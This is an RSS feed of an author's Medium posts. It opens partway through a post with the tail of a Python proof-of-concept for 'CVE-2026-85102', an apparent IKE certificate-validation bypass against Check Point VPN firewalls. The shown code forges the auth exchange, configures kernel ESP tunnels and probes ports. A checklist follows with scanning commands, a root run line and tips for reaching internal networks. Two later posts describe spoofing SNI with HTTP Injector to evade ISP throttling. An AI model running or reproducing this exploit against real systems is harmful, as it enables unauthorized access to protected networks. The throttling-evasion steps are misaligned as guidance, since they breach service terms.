&quot;hmac(sha1)&quot; 0x{ek[&quot;auth_in&quot;].hex()} &#39;<br>            f&#39;mode tunnel&#39;<br>        )</pre><pre>        # Outbound policy<br>        run_cmd(<br>            f&#39;sudo ip xfrm policy add dir out &#39;<br>            f&#39;src {self.assigned_ip}/32 dst 0.0.0.0/0 &#39;<br>            f&#39;tmpl src {l} dst {t} proto esp mode tunnel&#39;<br>        )</pre><pre>        # Inbound policy<br>        run_cmd(<br>            f&#39;sudo ip xfrm policy add dir in &#39;<br>            f&#39;src 0.0.0.0/0 dst {self.assigned_ip}/32 &#39;<br>            f&#39;tmpl src {t} dst {l} proto esp mode tunnel&#39;<br>        )</pre><pre>        # Add Office Mode IP to loopback<br>        run_cmd(f&quot;sudo ip addr add {self.assigned_ip}/32 dev lo 2&gt;/dev/null&quot;)</pre><pre>        success(f&quot;Kernel tunnel configured: {self.assigned_ip} &lt;--ESP--&gt; {t}&quot;)</pre><pre>    def verify_tunnel(self):<br>        &quot;&quot;&quot;Verify the tunnel works via ping and port probes.&quot;&quot;&quot;<br>        info(&quot;Verifying tunnel connectivity...&quot;)</pre><pre>        r = run_cmd(f&quot;ping -c 2 -W 2 -I {self.assigned_ip} {self.target}&quot;)<br>        if r.returncode == 0:<br>            for line in r.stdout.strip().split(&quot;\n&quot;):<br>                if &quot;bytes from&quot; in line or &quot;packet loss&quot; in line:<br>                    info(f&quot;  {line.strip()}&quot;)<br>        else:<br>            warning(&quot;  ping: no response&quot;)</pre><pre>        for port, name in [(443, &quot;HTTPS&quot;), (22, &quot;SSH&quot;), (18208, &quot;cprid&quot;)]:<br>            r = run_cmd(<br>                f&quot;timeout 3 bash -c &#39;echo | nc -w2 -s {self.assigned_ip} &quot;<br>                f&quot;{self.target} {port} 2&gt;&amp;1&#39;&quot;<br>            )<br>            status = &quot;OPEN&quot; if r.returncode == 0 else &quot;closed&quot;<br>            info(f&quot;  {name:6s} ({port:5d}): {status}&quot;)</pre><pre>    def run_full_exploit(self, forge):<br>        &quot;&quot;&quot;Execute the complete IKE negotiation flow.&quot;&quot;&quot;<br>        banner(&quot;CVE-2026-85102&quot;, subtitle=&quot;VPN Tunnel Auth Bypass&quot;)<br>        info(f&quot;Target: {self.target}  Local: {self.local}  User: {self.username}&quot;)</pre><pre>        # Phase 1<br>        self.phase1_initiate()<br>        self.phase1_wait_reply()<br>        self.phase1_send_ke()<br>        self.phase1_wait_ke()<br>        self.phase1_send_auth(forge.leaf_cert_der, forge.corrupted_ica)<br>        if not self.phase1_wait_complete():<br>            error(&quot;Phase 1 failed&quot;)<br>            return False</pre><pre>        success(&quot;Phase 1 complete — certificate validation bypassed&quot;)</pre><pre>        # Phase 1.5: INITIAL_CONTACT + Mode Config<br>        time.sleep(0.3)<br>        self.initial_contact()<br>        time.sleep(0.5)<br>        self.mode_config_request()<br>        time.sleep(2.0)</pre><pre>        if self.assigned_ip:<br>            success(f&quot;Office Mode IP assigned: {self.assigned_ip}&quot;)<br>        else:<br>            error(&quot;Failed to obtain Office Mode IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/32/0*hipEw7kT5vC_78Zt.png" /></figure><h3>Quick “What‑You‑Need‑to‑Know” Checklist</h3><p><em>(for the CVE‑2026‑85102 POC you just pulled)</em></p><p>AreaWhat to CheckWhy it mattersQuick Fix / Tip<strong>Target firewall firmware</strong>Verify you’re actually hitting a Check Point product that is <strong>v2.3‑12.3</strong> (or newer) — the vulnerability was fixed in v2.3‑12.4.The exploit will fail silently on patched boxes.Run <strong>curl -k https://&lt;fw&gt;/status</strong> or the “web‑fingerprint” tool to confirm.<strong>IPsec support on the target</strong>The firewall must have <strong>IPsec (ESP) enabled</strong> in its VPN settings.The POC builds an ESP SA; if the firewall is compiled without IPsec support, the handshake will be dropped.Check “VPN → IPsec” in the GUI or via <strong>vpncfg -d</strong>.<strong>UDP 500/4500 open</strong>The IKE handshake uses UDP 500 (and NAT‑T 4500 if you’re behind NAT).If those ports are filtered, the script will time‑out.Verify with <strong>nmap -sU -p500,4500 &lt;fw&gt;</strong>.<strong>No pre‑shared key (PSK) or certificate based mode</strong>The exploit only works when the firewall is in <strong>certificate‑based IKE mode</strong> (no PSK).If a PSK is configured, the IKE handshake will reject the forged cert chain.In the GUI: <strong>VPN → IKE Settings → Authentication</strong> should be “Certificate”.<strong>NAT‑T (Port‑Translation) enabled</strong>The POC uses <strong>NAT‑T</strong> on the Linux side (<strong>ip xfrm</strong> policies use the loopback IP).Without NAT‑T, the ESP traffic will be dropped by the firewall’s firewall rules.In the firewall, enable “NAT‑T” under <strong>VPN → Settings → NAT‑T</strong>.<strong>Root privileges on the attack box</strong>The script runs <strong>sudo ip xfrm …</strong> and <strong>ip addr add</strong>.Without root, the kernel‑side IPsec configuration will fail.Run the script with <strong>sudo python3 poc_vpn_tunnel.py …</strong>.<strong>Loopback IP allowed</strong>The firewall must permit traffic to/from <strong>127.0.0.1</strong> (or the Office Mode IP).The POC adds the Office Mode IP to <strong>lo</strong>; if the firewall blocks it, the tunnel won’t be usable.In <strong>VPN → Advanced → IPsec</strong> ensure “Allow traffic from 127.0.0.1/32”.<strong>Firewall rules for internal network</strong>After the tunnel is up, you’ll need a rule that allows traffic from the Office Mode IP to the internal network or the specific services you want to reach.Without a rule, the tunnel will be established but you can’t reach anything.Add a rule like <strong>Allow from &lt;OfficeModeIP&gt;/32 to any</strong> in the firewall’s policy.<strong>Check for “IKEv1” vs “IKEv2”</strong>The exploit is crafted for <strong>IKEv1</strong>. If the firewall is set to IKEv2 only, it will reject.The POC will fail early.In the GUI: <strong>VPN → IKE Settings → IKE Version</strong> should be “IKEv1”.<strong>Time‑outs</strong>The script sets a 8‑second socket timeout. If the network is slow or the firewall is heavily loaded, increase it.The handshake may abort.Edit <strong>self.socket.settimeout(12.0)</strong> in the script.<strong>Firewall logs</strong>After the handshake, check the firewall’s IKE logs (<strong>vpncfg -l /var/log/vpn.log</strong>).A successful handshake will leave a log entry; if not, you’ll see a failure reason.Useful for debugging.<strong>IPsec policy cleanup</strong>The script does <strong>not</strong> automatically remove the kernel SA’s. If you rerun the test, you might have stale entries.Can cause confusion or errors.Run <strong>sudo ip xfrm state flush &amp;&amp; sudo ip xfrm policy flush</strong> before re‑running.<strong>Potential side‑effects</strong>The tunnel will appear as an additional interface on the firewall. If you’re in a production environment, this may trigger alerts.Avoid accidental exposure.Use a dedicated lab or a test‑zone firewall.<strong>Legal / Ethical</strong>Make sure you have explicit permission to test the target firewall.Unauthorized testing can be illegal.Get a signed WASC or a written approval.</p><h3>How to Use the Checklist</h3><ol><li><strong>Run the quick checks first</strong></li></ol><ul><li># Target IP: 10.0.0.1 nmap -sU -p500,4500 10.0.0.1 curl -k <a href="https://10.0.0.1/status">https://10.0.0.1/status</a></li></ul><ol><li><strong>Verify the firewall is on the vulnerable firmware</strong></li></ol><ul><li>web_fingerprint(host=10.0.0.1)</li></ul><ol><li><strong>Confirm IKE is certificate‑based and IKEv1</strong><br>(GUI or <strong>vpncfg -d</strong>).</li><li><strong>Check NAT‑T and internal policy</strong><br>(GUI or <strong>vpncfg -d</strong>).</li><li><strong>Run the POC as root</strong></li></ol><ul><li>sudo python3 poc_vpn_tunnel.py -t 10.0.0.1 -l 192.168.1.5 -u attacker</li></ul><ol><li><strong>If the tunnel fails, look at the firewall logs</strong></li></ol><ul><li>ssh admin@10.0.0.1 &#39;cat /var/log/vpn.log | tail -n 20&#39;</li></ul><p>If <em>all</em> of the above conditions are satisfied, the POC should establish a working ESP tunnel, giving you a full VPN session to the target firewall.<br> If you hit a roadblock, the checklist usually points you to the missing piece.</p><p>H@ppy te$t!ng ; )</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb8c5a32c3aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Found Out How My ISP’s “Unlimited” Data Plan Really Works -And It’s Not What You Think]]></title>
            <link>https://medium.com/@deemath.ish.56/i-found-out-how-my-isps-unlimited-data-plan-really-works-and-it-s-not-what-you-think-259782a08a1d?source=rss-8b973fb70f64------2</link>
            <guid isPermaLink="false">https://medium.com/p/259782a08a1d</guid>
            <dc:creator><![CDATA[Deemath Jayasinghe]]></dc:creator>
            <pubDate>Tue, 23 Sep 2025 19:00:44 GMT</pubDate>
            <atom:updated>2025-09-23T19:00:44.460Z</atom:updated>
            <content:encoded><![CDATA[<p>We’ve all been there. You’re enjoying your “unlimited” mobile data plan, streaming videos or downloading files, when suddenly, everything grinds to a halt. You’ve hit the Fair Usage Policy (FUP) limit, and your lightning-fast 4G has been throttled to a crawl. But what if I told you there’s a secret backdoor that stays wide open? I stumbled upon one, and it reveals exactly how these systems work.</p><h4><strong>Disclaimer</strong></h4><p><em>All information and methodologies described in this article are presented for educational and informational purposes only. The objective is to provide insight into how network traffic management and ISP policies function. The author does not endorse, encourage, or condone the use of these or any other methods to circumvent network restrictions or violate the Terms of Service agreement with any Internet Service Provider. Any action you take based on the information in this article is strictly at your own risk. The author will not be liable for any consequences, losses, or damages — including the suspension or termination of your internet service — that may arise from the use of this information.</em></p><h3>The Curious Case of the Speedy App</h3><p>My frustration with throttled data was the same as anyone else’s. But I noticed something odd. Whenever my data was slow, one application on my phone worked perfectly: my ISP’s own self-care app. While my browser struggled to load a simple webpage, this app was snappy and responsive. It wasn’t a fluke; it was consistent.</p><p>This got me thinking. Was the app just better optimized? Or was something else going on at the network level? My curiosity took over, and I decided to play detective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ngbxU2kuGEqqVw6KTUf08g.jpeg" /></figure><p>I installed a network traffic monitoring app on my phone to see what was happening behind the scenes. I started the monitor and opened my ISP’s self-care app. The results were immediate and illuminating. The monitor showed a log of all the connections my phone was making. One entry stood out — the connection for the self-care app. And in it, I found the clue I was looking for:</p><p><strong>SNI: oneapp.hutch.lk</strong></p><h3>The Golden Ticket: Understanding SNI</h3><p>For those who aren’t network geeks, <strong>SNI</strong> stands for <strong>Server Name Indication</strong>. It’s a tiny piece of information sent at the very beginning of any secure internet connection. Think of it like an apartment number on a letter. An IP address is the building’s main street address, but the SNI tells the server which specific service (or apartment) you want to connect to.</p><p>This was the smoking gun. My ISP’s network is configured with a simple but effective rule: <strong>“If a connection request contains the SNI </strong><strong>oneapp.hutch.lk, let it pass at full speed, no matter what.&quot;</strong></p><p>This is called <strong>whitelisting</strong>. It’s a deliberate policy to ensure that even when your data is throttled, you can still access their app to check your usage, pay your bill, or, most importantly, buy a data top-up to get back to high speeds. The self-care app has a permanent VIP pass to the fast lane.</p><h3>The “Trick” Explained (Theoretically)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*-G1XmtNNDvD3jGcInEJi_g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*PWcWAKZ5ocWczqfU0Vg_GQ.jpeg" /></figure><p>This discovery naturally leads to a question: If the ISP is just looking for a specific “magic word” (the SNI), could you label all your internet traffic with that same magic word?</p><p>Theoretically, yes. The technique is called <strong>SNI Tunneling</strong>. Specialized apps, like HTTP Injector, can act as a VPN, intercepting all your phone’s traffic and stamping it with a custom SNI before sending it out. Your ISP sees what it thinks is traffic for the whitelisted app and lets it through at full speed, while the tunneling app sends your data to its real destination.</p><h3>A Word of Warning: Knowledge vs. Action</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*lJzuXC1Vvh6gA8B7LJoBuQ.jpeg" /></figure><p>Now, before you rush off to try this, it’s crucial to understand the implications. While it’s fascinating to uncover how our digital world is structured, exploiting these loopholes comes with serious risks.</p><ol><li><strong>It Violates Terms of Service:</strong> Bypassing your ISP’s FUP is almost certainly against the contract you agreed to. This could lead to them suspending or even terminating your service.</li><li><strong>It Carries Security Risks:</strong> SNI tunneling requires routing all your internet data through a third-party server. If that server isn’t secure or trustworthy, your personal information could be at risk.</li><li><strong>It’s a Cat-and-Mouse Game:</strong> ISPs are aware of these methods and actively work to block them. A loophole that works today could be gone tomorrow.</li></ol><p>My goal wasn’t to break the rules but to understand them. This journey taught me that “unlimited” is a marketing term, and the systems that govern our data are built on a fascinating set of rules. Being a knowledgeable consumer is the best tool we have. Sometimes, all it takes is a little curiosity to see what’s really happening under the hood.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=259782a08a1d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Is my ISP playing tricks on me? #hutch]]></title>
            <link>https://medium.com/@deemath.ish.56/is-my-isp-playing-tricks-on-me-hutch-5348fc637e92?source=rss-8b973fb70f64------2</link>
            <guid isPermaLink="false">https://medium.com/p/5348fc637e92</guid>
            <category><![CDATA[sri-lanka]]></category>
            <category><![CDATA[hutch]]></category>
            <category><![CDATA[internet]]></category>
            <category><![CDATA[data-speed]]></category>
            <category><![CDATA[speed-test]]></category>
            <dc:creator><![CDATA[Deemath Jayasinghe]]></dc:creator>
            <pubDate>Fri, 21 Feb 2025 18:08:16 GMT</pubDate>
            <atom:updated>2025-02-21T18:23:25.767Z</atom:updated>
            <content:encoded><![CDATA[<p>As an undergraduate student and a tech enthusiast, I’ve always been fascinated by how the internet works — and how it sometimes <em>doesn’t</em> work the way we expect it to. Recently, I stumbled upon something that made me question the transparency of my Internet Service Provider (ISP). It all started when I decided to run a few speed tests to check the performance of my connection. What I found was both surprising and frustrating.</p><p>I used two popular speed test tools: <strong>Ookla’s Speedtest.net</strong> and <strong>Fast.com</strong>. The results were wildly different. On Ookla, my connection showed speeds of over <strong>15 Mbps</strong>, which seemed great. But when I switched to Fast.com, the speed dropped to a measly <strong>2.5</strong> <strong>Mbps</strong>. How could there be such a huge difference?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ESaH1eEeu0ppbU8frIeWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T1HBBSOAFrimTiOGainmOw.png" /></figure><p>This inconsistency got me thinking: <strong><em>Is my ISP playing tricks on me?</em> </strong>Could it be that Hutch is intentionally making my connection appear faster than it actually is? As I dug deeper, I discovered that this isn’t just a coincidence — it’s a practice that some ISPs use to mislead customers. In this article, I’ll explain how this happens, why ISPs do it, and what you can do to uncover the truth about your own internet speed.</p><h3>How does this happen? The ISP’s playbook</h3><p>So, how can two speed test tools show such drastically different results? The answer lies in a practice called <strong>traffic shaping</strong> or <strong>throttling</strong>. Here’s how it works:</p><ol><li><strong>Whitelisting Speed Test Servers:</strong><br>Some ISPs, like Hutch, may <strong>whitelist</strong> certain speed test servers, such as those used by Ookla. This means they prioritize traffic to these servers, ensuring that speed tests run at full capacity. As a result, the tests show artificially inflated speeds that don’t reflect your actual internet performance.</li><li><strong>Throttling Specific Services:</strong><br>On the other hand, services like <strong>Fast.com</strong>, which is powered by Netflix, are often throttled by ISPs. This is because streaming services consume a lot of bandwidth, and ISPs may limit their speeds to reduce network congestion or push users toward more expensive plans. When you run a test on Fast.com, you’re seeing the <em>real</em> speed you’re getting for streaming or other high-bandwidth activities.</li><li><strong>The Illusion of Speed:</strong><br>By prioritizing speed test servers and throttling other services, ISPs create the illusion of a fast and reliable connection. This allows them to advertise high speeds and keep customers satisfied — at least until they try to stream a movie or download a large file and realize their connection isn’t as fast as they were led to believe.</li></ol><h3>How I Tricked ; )</h3><p>After noticing the discrepancy between <strong>Ookla</strong> and <strong>Fast.com</strong>, I decided to dig deeper. I wanted to see if Hutch was really whitelisting Ookla’s servers to inflate speed test results. Here’s how I did it:</p><p><strong>Finding Ookla’s SNI:</strong><br>I discovered that Ookla’s <strong>Server Name Indicator (SNI)</strong> is speedtest.net. The SNI is a part of the TLS/SSL handshake process that tells the server which hostname the client is trying to connect to. By mimicking this, I could potentially trick the ISP into thinking I was using Ookla’s speed test.</p><p><strong>Setting Up an SSH Tunnel with HTTP Injector:</strong><br>I used a mobile app called <strong>HTTP Injector</strong> to create a <strong>Secure Shell (SSH)</strong> tunnel. This app allows you to configure custom SNI settings, so I set the SNI to speedtest.net. This made my connection appear as if it was coming from Ookla’s servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*UUie9muBUidya87HT603tQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*Lp_OPcTa-yCQmi5KNJX7UA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*yLETdoVieoYfCPXkKbUpdg.jpeg" /></figure><p><strong>Routing Traffic Through the Tunnel:</strong><br>I connected to a VPN through the SSH tunnel, which encrypted my traffic and routed it through the custom SNI. This essentially made my ISP think I was using Ookla’s speed test, even though I wasn’t.</p><p><strong>Sharing the Connection via Hotspot:</strong><br>I enabled hotspot tethering on my phone and connected my laptop to it. Using tethering tools, I set up custom proxies and ports to ensure all traffic was routed through the SSH tunnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dsNdQLhWP5rQzwZx2-g5jA.png" /></figure><p><strong>Testing the Real Speed with Cloudflare:</strong><br>Instead of using Ookla or Fast.com, I ran a speed test on <strong>Cloudflare’s speed testing site</strong> (speed.cloudflare.com). Cloudflare’s test is known for being more accurate and less susceptible to ISP manipulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTc0ARuad4EEoeUiBP5KWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AYdQgaAu7VC46iba8h2E3w.png" /><figcaption>Different between before and after setting up the VPN</figcaption></figure><p>This confirmed my suspicion: <strong>Hutch was indeed prioritizing traffic to Ookla’s servers to create the illusion of a faster connection.</strong></p><p>My little experiment with <strong>HTTP Injector</strong> and <strong>Cloudflare’s speed test</strong> revealed the harsh reality of ISP manipulation. By whitelisting Ookla’s servers and throttling other services, ISPs created an <strong>illusion of speed 🚀</strong> that didn’t match my actual experience. As consumers, we need to stay informed and vigilant. Don’t just trust the numbers your ISP shows you — test, verify, and hold them accountable. 💪</p><p><strong>Thanks for engaging! 🙌✨</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5348fc637e92" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>